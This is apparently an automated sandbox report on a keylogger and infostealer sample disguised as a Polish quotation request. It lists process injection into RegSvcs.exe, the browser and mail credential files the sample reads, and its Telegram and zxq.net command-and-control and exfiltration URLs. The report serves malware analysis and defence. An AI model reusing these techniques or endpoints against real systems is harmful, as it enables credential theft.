Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_03EDFAC0 mov eax, dword ptr fs:[00000030h]	1_2_03EDFAC0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

1_2_00426DA1

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0042202E SetUnhandledExceptionFilter,	1_2_0042202E
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004230F5
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00417D93
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00421FA7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System\explorer.exe	Network Connect: 108.177.15.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 51.81.194.202 443	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 142.251.168.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 64.233.166.82 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: C56008

Jump to behavior

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0043916A LogonUserW,

1_2_0043916A

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

1_2_0040D6D0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

1_2_004375B0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

1_2_00436431

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "

Jump to behavior

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

1_2_00445DD3

Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe	Binary or memory string: Shell_TrayWnd
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000000.2020442400.0000000000482000.00000002.00000001.01000000.00000006.sdmp, zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00410D10 cpuid

1_2_00410D10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_004223BC

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Code function: 0_2_0041E9D0 __vbaChkstk,__vbaOnError,#525,__vbaStrMove,__vbaLenBstr,__vbaStrToAnsi,GetUserNameA,__vbaStrToUnicode,__vbaFreeStr,#537,__vbaStrMove,__vbaInStr,#616,__vbaStrMove,__vbaFreeStr,__vbaFreeStr,__vbaErrorOverflow,

0_2_0041E9D0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_0040E470

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe .0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe	Binary or memory string: WIN_XP
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe	Binary or memory string: WIN_XPe
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe	Binary or memory string: WIN_VISTA
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe	Binary or memory string: WIN_7

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	1_2_004741BB
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	1_2_0046483C
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	1_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	131 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	11 Windows Service	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 Software Packing	NTDS	127 System Information Discovery	Distributed Component Object Model	131 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	11 Windows Service	1 DLL Side-Loading	LSA Secrets	221 Security Software Discovery	SSH	3 Clipboard Data	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	1 File Deletion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	231 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	100%	Avira	TR/Patched.Ren.Gen
ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\icsys.icn.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\svchost.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\stsys.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\spoolsv.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Roaming\mrsys.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\System\explorer.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\icsys.icn.exe	100%	Joe Sandbox ML
C:\Windows\System\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\stsys.exe	100%	Joe Sandbox ML
C:\Windows\System\spoolsv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\mrsys.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	100%	Joe Sandbox ML
C:\Windows\System\explorer.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://yoast.com/wordpress/plugins/seo/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
mail.tlakovec.si	212.44.112.138	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
zxq.net	51.81.194.202	true	true	unknown
googlecode.l.googleusercontent.com	64.233.166.82	true	false	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
vccmd01.zxq.net	51.81.194.202	true	true	unknown
241.42.69.40.in-addr.arpa	unknown	unknown	true	unknown
vccmd03.googlecode.com	unknown	unknown	true	unknown
vccmd01.t35.com	unknown	unknown	true	unknown
vccmd01.googlecode.com	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown
vccmd02.googlecode.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://vccmd03.googlecode.com/files/cmsys.gif	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20and%20Time:%2029/10/2024%20/%2023:58:44%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20849224%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://zxq.net/cmsys.gif	true		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/	true		unknown
https://reallyfreegeoip.org/xml/173.254.250.72	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png	cmsys.cmn.4.dr	false		unknown
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/privacy-policy/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/m32	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/cmsys.gifn	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/hYZ	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
